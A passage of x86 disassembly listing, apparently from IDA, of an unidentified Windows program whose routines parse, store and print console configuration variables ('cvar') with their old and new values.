call sub_4017E4
add esi, 60h
push eax
push esi
mov ecx, offset dword_447148
call sub_401591
mov [esp+40h+var_4], 0FFFFFFFFh
lea ecx, [esp+40h+var_24]
call sub_401226
mov ecx, [esp+40h+var_C]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
sub_40B210 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B390 proc near ; CODE XREF: sub_40180Cj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = byte ptr 14h
arg_14 = byte ptr 18h
arg_18 = dword ptr 1Ch
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push edi
mov ecx, [esp+8+arg_0]
push eax
add ecx, 1Eh
call sub_401FBE
mov eax, [esp+8+arg_0]
mov edx, [esp+8+arg_C]
push edx
lea ecx, [eax+33h]
call sub_401FBE
mov ecx, [esp+8+arg_0]
mov dl, [esp+8+arg_10]
mov edi, [esp+8+arg_8]
mov [ecx+48h], dl
mov eax, [esp+8+arg_0]
push edi
push eax
mov ecx, esi
call sub_401F32
mov ecx, [esp+8+arg_0]
mov dl, [esp+8+arg_14]
push edi
mov [ecx+4], dl
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_18]
mov [eax+5], ecx
mov ecx, [esp+0Ch+arg_0]
call sub_401FBE
lea edx, [esp+8+arg_0]
lea ecx, [esi+8Eh]
push edx
call sub_401906
pop edi
pop esi
retn 1Ch
sub_40B390 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B430 proc near ; CODE XREF: sub_401B5Ej
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
arg_18 = dword ptr 1Ch
push 0FFFFFFFFh
push offset SEH_40B430
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 48h
mov eax, [esp+54h+arg_C]
push ebp
push esi
mov esi, ecx
push edi
push eax
lea ecx, [esp+64h+var_24]
call sub_401861
mov edi, eax
mov ecx, [esp+60h+arg_8]
mov [esp+60h+var_4], 0
push ecx
lea ecx, [esp+64h+var_3C]
call sub_401861
mov ebp, eax
mov edx, [esp+60h+arg_4]
lea ecx, [esp+60h+var_54]
push edx
mov byte ptr [esp+64h+var_4], 1
call sub_401861
mov ecx, [esp+60h+arg_18]
mov edx, [esp+60h+arg_14]
push ecx
mov ecx, [esp+64h+arg_10]
push edx
mov edx, [esp+68h+arg_0]
push ecx
push edi
push ebp
push eax
push edx
mov ecx, esi
mov byte ptr [esp+7Ch+var_4], 2
call sub_40180C
lea ecx, [esp+60h+var_54]
mov byte ptr [esp+60h+var_4], 1
call sub_401226
lea ecx, [esp+60h+var_3C]
mov byte ptr [esp+60h+var_4], 0
call sub_401226
lea ecx, [esp+60h+var_24]
mov [esp+60h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+60h+var_C]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
add esp, 54h
retn 1Ch
sub_40B430 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B520 proc near ; CODE XREF: sub_4019CEj
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 8
push esi
mov esi, ecx
push edi
lea ecx, [esp+10h+var_8]
call sub_40153C
add esi, 8Eh
lea eax, [esp+10h+var_4]
push eax
mov ecx, esi
call sub_401451
mov ecx, [eax]
lea edx, [esp+10h+var_4]
mov [esp+10h+var_8], ecx
push edx
mov ecx, esi
call sub_401C71
push eax
lea ecx, [esp+14h+var_8]
call sub_40136B
test al, al
jz short loc_40B5A1
mov edi, [esp+10h+arg_0]
loc_40B566: ; CODE XREF: sub_40B520+7Fj
push edi
lea ecx, [esp+14h+var_8]
call sub_401F5A
mov ecx, [eax]
add ecx, 1Eh
call sub_4021AD
test eax, eax
lea ecx, [esp+10h+var_8]
jz short loc_40B5AB
call sub_40133E
lea eax, [esp+10h+var_4]
mov ecx, esi
push eax
call sub_401C71
push eax
lea ecx, [esp+14h+var_8]
call sub_40136B
test al, al
jnz short loc_40B566
loc_40B5A1: ; CODE XREF: sub_40B520+40j
pop edi
xor eax, eax
pop esi
add esp, 8
retn 8
; ---------------------------------------------------------------------------
loc_40B5AB: ; CODE XREF: sub_40B520+60j
call sub_401F5A
mov eax, [eax]
pop edi
pop esi
add esp, 8
retn 8
sub_40B520 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B5F0: ; CODE XREF: ___:00401456j
push 0FFFFFFFFh
push offset loc_438BF8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
mov eax, [esp+28h]
push esi
mov esi, ecx
push eax
lea ecx, [esp+8]
call sub_401861
mov ecx, [esp+30h]
mov dword ptr [esp+24h], 0
push ecx
push eax
mov ecx, esi
call sub_4019CE
lea ecx, [esp+4]
mov esi, eax
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 24h
retn 8
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B680 proc near ; CODE XREF: sub_401596j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_4015D7
mov ecx, esi
call sub_4017E4
push eax
nop
call near ptr 77C1CF90h
fstp dword ptr [esi+15h]
add esp, 4
mov ecx, esi
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
mov ecx, esi
mov [esi+1Ah], eax
mov byte ptr [esi+19h], 0
push offset aTrue ; "true"
call sub_4012EE
test eax, eax
jnz short loc_40B6D1
mov byte ptr [esi+19h], 1
loc_40B6D1: ; CODE XREF: sub_40B680+4Bj
pop esi
retn 8
sub_40B680 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B700 proc near ; CODE XREF: sub_401F32j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
mov ecx, esi
mov eax, [edi+9]
push eax
call sub_4015D7
mov ecx, esi
call sub_4017E4
push eax
call near ptr 77C1CF90h
nop
fstp dword ptr [esi+15h]
add esp, 4
mov ecx, esi
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
mov ecx, esi
mov [esi+1Ah], eax
mov byte ptr [esi+19h], 0
push offset aTrue ; "true"
call sub_4012EE
test eax, eax
jnz short loc_40B755
mov byte ptr [esi+19h], 1
loc_40B755: ; CODE XREF: sub_40B700+4Fj
mov cl, [edi+4]
mov [esi+4], cl
mov edx, [edi+5]
mov [esi+5], edx
pop edi
pop esi
retn 8
sub_40B700 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B790: ; CODE XREF: ___:00401D43j
fld dword ptr [esp+8]
push esi
mov esi, [esp+8]
sub esp, 8
fstp qword ptr [esp]
push offset aF ; "%f"
push esi
call sub_40102D
mov eax, [esp+1Ch]
add esp, 10h
mov ecx, esi
mov [esi+15h], eax
call sub_4017E4
push eax
call near ptr 77C1BF18h
nop
fld dword ptr [esp+10h]
fcomp flt_43E024
mov [esi+1Ah], eax
add esp, 4
mov byte ptr [esi+19h], 0
fnstsw ax
test ah, 1
jnz short loc_40B7E1
mov byte ptr [esi+19h], 1
loc_40B7E1: ; CODE XREF: ___:0040B7DBj
pop esi
retn 8
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B810: ; CODE XREF: ___:00401C94j
push ebx
mov bl, [esp+0Ch]
test bl, bl
push esi
jz short loc_40B840
mov esi, [esp+0Ch]
push offset aTrue ; "true"
mov ecx, esi
call sub_4015D7
mov dword ptr [esi+15h], 3F800000h
mov dword ptr [esi+1Ah], 1
mov [esi+19h], bl
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_40B840: ; CODE XREF: ___:0040B818j
mov esi, [esp+0Ch]
push offset aFalse ; "false"
mov ecx, esi
call sub_4015D7
xor eax, eax
mov [esi+19h], bl
mov [esi+15h], eax
mov [esi+1Ah], eax
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B880: ; CODE XREF: ___:00401D6Bj
push esi
mov esi, [esp+8]
push edi
mov edi, [esp+10h]
push edi
push offset dword_4437F4
push esi
call sub_40102D
fild dword ptr [esp+1Ch]
add esp, 0Ch
cmp edi, 1
mov [esi+1Ah], edi
mov byte ptr [esi+19h], 0
fstp dword ptr [esi+15h]
jl short loc_40B8B0
mov byte ptr [esi+19h], 1
loc_40B8B0: ; CODE XREF: ___:0040B8AAj
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B8D0: ; CODE XREF: ___:loc_401ACDj
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_438C30
push eax
mov large fs:0, esp
sub esp, 4Ch
push ebx
push ebp
push esi
mov esi, [esp+68h]
mov ebp, ecx
push edi
lea edi, [esi+7Eh]
lea ecx, [ebp+4]
call sub_4014D3
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_40BA12
lea ebx, [esi+69h]
mov ecx, ebx
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push offset aCvar ; "(cvar)"
push eax
push ecx
mov ecx, offset byte_4D60A5
call sub_401118
lea ecx, [esp+6Ch]
call sub_40153C
add ebp, 8Eh
lea edx, [esp+10h]
push edx
mov ecx, ebp
xor edi, edi
call sub_401451
mov eax, [eax]
lea ecx, [esp+10h]
push ecx
mov ecx, ebp
mov [esp+70h], eax
call sub_401C71
push eax
lea ecx, [esp+70h]
call sub_40136B
test al, al
jz loc_40BA0B
loc_40B976: ; CODE XREF: ___:0040BA05j
lea ecx, [esp+6Ch]
inc edi
call sub_401F5A
mov ecx, [eax]
add ecx, 33h
call sub_4017E4
push eax
lea ecx, [esp+70h]
call sub_401F5A
mov ecx, [eax]
call sub_4017E4
push eax
lea ecx, [esp+74h]
call sub_401F5A
mov ecx, [eax]
add ecx, 1Eh
call sub_4017E4
push eax
push edi
push offset aDSSS ; "[%d] \"%s\" = \"%s\" (\"%s\")"
mov ecx, ebx
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60A5
call sub_401848
add esp, 24h
push 5DCh
nop
call near ptr 28402DAh
lea ecx, [esp+6Ch]
call sub_40133E
lea ecx, [esp+10h]
push ecx
mov ecx, ebp
call sub_401C71
push eax
lea ecx, [esp+70h]
call sub_40136B
test al, al
jnz loc_40B976
loc_40BA0B: ; CODE XREF: ___:0040B970j
mov al, 1
jmp loc_40BB9A
; ---------------------------------------------------------------------------
loc_40BA12: ; CODE XREF: ___:0040B907j
lea ecx, [ebp+32h]
call sub_4017E4
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_40BAA5
push offset asc_443600 ; " "
lea edx, [esp+30h]
push 1
push edx
mov ecx, esi
call sub_4016AE
push 1
push eax
mov ecx, ebp
mov dword ptr [esp+6Ch], 0
call sub_4019CE
lea ecx, [esp+2Ch]
mov edi, eax
mov dword ptr [esp+64h], 0FFFFFFFFh
call sub_401226
test edi, edi
jz loc_40BB98
mov ecx, edi
call sub_4017E4
push eax
lea ecx, [edi+1Eh]
call sub_4017E4
push eax
push offset aSS_5 ; "%s = \"%s\""
lea ecx, [esi+69h]
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D60A5
call sub_401848
add esp, 1Ch
jmp loc_40BB9A
; ---------------------------------------------------------------------------
loc_40BAA5: ; CODE XREF: ___:0040BA24j
lea ecx, [ebp+60h]
call sub_4014D3
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_40BB98
push offset asc_443600 ; " "
lea edx, [esp+30h]
push 1
push edx
mov ecx, esi
call sub_4016AE
push 1
push eax
mov ecx, ebp
mov dword ptr [esp+6Ch], 1
call sub_4019CE
lea ecx, [esp+2Ch]
mov edi, eax
mov dword ptr [esp+64h], 0FFFFFFFFh
call sub_401226
test edi, edi
jz loc_40BB98
push edi
lea ecx, [esp+18h]
call sub_4014C9
mov ebx, 2
push 1
push offset asc_443600 ; " "
lea eax, [esp+4Ch]
push ebx
push eax
mov ecx, esi
mov [esp+74h], ebx
call sub_4011EA
push eax
push edi
mov ecx, ebp
mov byte ptr [esp+6Ch], 3
call sub_401F32
lea ecx, [esp+44h]
mov [esp+64h], bl
call sub_401226
lea ecx, [esp+14h]
call sub_4017E4
push eax
mov ecx, edi
call sub_4017E4
push eax
lea ecx, [edi+1Eh]
call sub_4017E4
push eax
push offset aSSWasS ; "%s = \"%s\" [was \"%s\"]"
lea ecx, [esi+69h]
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D60A5
call sub_401848
add esp, 20h
lea ecx, [esp+14h]
mov dword ptr [esp+64h], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp short loc_40BB9A
; ---------------------------------------------------------------------------
loc_40BB98: ; CODE XREF: ___:0040BA60j
; ___:0040BAB7j ...
xor al, al
loc_40BB9A: ; CODE XREF: ___:0040BA0Dj
; ___:0040BAA0j ...
mov ecx, [esp+5Ch]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 58h
retn 4
; ---------------------------------------------------------------------------
db 90h
db 0C0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BC70 proc near ; CODE XREF: sub_401BF4j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_4021CB
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
sub_40BC70 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40BCB0 proc near ; CODE XREF: sub_401555j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401C71
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401451
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40124E
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401FCD
sub_40BCB0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BD20 proc near ; CODE XREF: sub_401451j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_4020F9
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_4014A6
mov eax, esi
pop esi
retn 4
sub_40BD20 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BD60 proc near ; CODE XREF: sub_401C71j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_4014A6
mov eax, esi
pop esi
retn 4
sub_40BD60 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BD90 proc near ; CODE XREF: sub_401906j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_401C71
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401C49
pop esi
pop ecx
retn 4
sub_40BD90 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BDD0 proc near ; CODE XREF: sub_401BEFj
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401C71
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401451
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40124E
pop esi
add esp, 0Ch
retn
sub_40BDD0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BE20 proc near ; CODE XREF: sub_40153Cj
push esi
mov esi, ecx
call sub_40213A
mov eax, esi
pop esi
retn
sub_40BE20 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BE40 proc near ; CODE XREF: sub_401F5Aj
mov eax, [ecx]
push eax
call sub_401839
add esp, 4
retn
sub_40BE40 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BE60 proc near ; CODE XREF: sub_40133Ej
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_4020F9
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_40BE60 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BE90 proc near ; CODE XREF: sub_40136Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401CE9
neg al
sbb eax, eax
inc eax
retn 4
sub_40BE90 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BEC0 proc near ; CODE XREF: sub_401C49j
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_4016A4
mov edi, eax
push edi
call sub_40213F
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_4021CB
push edi
mov ebx, eax
call sub_40213F
push edi
mov [eax], ebx
call sub_40213F
mov edi, [eax]
push edi
call sub_40213F
mov ecx, [eax]
push ecx
call sub_4020F9
mov edx, [esp+1Ch+arg_8]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_401839
add esp, 4
mov ecx, esi
push eax
call sub_401F14
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+10h+arg_0]
mov ecx, esi
call sub_4014A6
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
sub_40BEC0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BF60 proc near ; CODE XREF: sub_40124Ej
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_40136B
test al, al
jz short loc_40BFBA
loc_40BF78: ; CODE XREF: sub_40BF60+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_401B86
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_40106E
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_40136B
test al, al
jnz short loc_40BF78
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_40BFBA: ; CODE XREF: sub_40BF60+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_40BF60 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BFF0 proc near ; CODE XREF: sub_4021CBj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_40155F
mov edi, [esp+8+arg_0]
mov esi, eax
test edi, edi
jnz short loc_40C005
mov edi, esi
loc_40C005: ; CODE XREF: sub_40BFF0+11j
push esi
call sub_4020F9
mov [eax], edi
mov edi, [esp+0Ch+arg_4]
add esp, 4
test edi, edi
jnz short loc_40C01A
mov edi, esi
loc_40C01A: ; CODE XREF: sub_40BFF0+26j
push esi
call sub_40213F
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
sub_40BFF0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C040 proc near ; CODE XREF: sub_401FCDj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_402059
sub_40C040 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C060 proc near ; CODE XREF: sub_4020F9j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_40C060 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C080 proc near ; CODE XREF: sub_401839j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_40C080 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C0A0 proc near ; CODE XREF: sub_40213Aj
mov eax, ecx
retn
sub_40C0A0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C0C0 proc near ; CODE XREF: sub_4014A6j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_40105A
mov eax, esi
pop esi
retn 4
sub_40C0C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C0F0 proc near ; CODE XREF: sub_401CE9j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_40C0F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C120 proc near ; CODE XREF: sub_40106Ej
var_4 = byte ptr -4
arg_4 = byte ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_401B86
mov ecx, eax
call sub_4016A4
mov esi, eax
push esi
call sub_4020F9
push esi
mov ebx, eax
call sub_40213F
mov ecx, [eax]
push ecx
call sub_4020F9
mov edx, [ebx]
push esi
mov [eax], edx
call sub_40213F
push esi
mov ebx, eax
call sub_4020F9
mov eax, [eax]
push eax
call sub_40213F
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_401839
add esp, 1Ch
mov ecx, edi
push eax
call sub_401221
push esi
mov ecx, edi
call sub_401FCD
sub_40C120 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C1E0 proc near ; CODE XREF: sub_40213Fj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_40C1E0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C200 proc near ; CODE XREF: sub_40155Fj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D16
add esp, 8
retn 4
sub_40C200 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C230 proc near ; CODE XREF: sub_402059j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_40C230 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C250 proc near ; CODE XREF: sub_401F14j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_4011AE
add esp, 8
retn 8
sub_40C250 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C280 proc near ; CODE XREF: sub_40105Aj
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_40C280 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C2A0 proc near ; CODE XREF: sub_4016A4j
mov eax, [ecx]
retn
sub_40C2A0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C2C0 proc near ; CODE XREF: sub_401B86j
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_40133E
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_40C2C0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C2F0 proc near ; CODE XREF: sub_401221j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_2
pop ecx
retn 4
sub_40C2F0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C310 proc near ; CODE XREF: sub_4011AEj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_40C32B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_40C32B: ; CODE XREF: sub_40C310+11j
retn
sub_40C310 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C360 proc near ; CODE XREF: sub_401BE5j
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40C360
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 4
push 0Eh
push 5
push 13h
push 4Fh
push 3
push 3
lea eax, [esp+48h+var_24]
push 4
mov esi, ecx
push eax
call sub_4019B5
add esp, 28h
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_401681
add esi, 4
push eax
push esi
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+28h+var_24]
mov [esp+28h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+28h+var_C]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
sub_40C360 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C400 proc near ; CODE XREF: sub_401712j
var_AB4 = dword ptr -0AB4h
var_AAC = dword ptr -0AACh
var_AA8 = dword ptr -0AA8h
var_AA4 = dword ptr -0AA4h
var_AA0 = dword ptr -0AA0h
var_A9C = byte ptr -0A9Ch
var_A98 = byte ptr -0A98h
var_A94 = dword ptr -0A94h
var_A90 = dword ptr -0A90h
var_A8C = dword ptr -0A8Ch
var_A88 = dword ptr -0A88h
var_A84 = dword ptr -0A84h
var_A78 = byte ptr -0A78h
var_A74 = dword ptr -0A74h
var_A70 = byte ptr -0A70h
var_A6C = byte ptr -0A6Ch
var_A5C = byte ptr -0A5Ch
var_A54 = byte ptr -0A54h
var_A3C = byte ptr -0A3Ch
var_A38 = byte ptr -0A38h
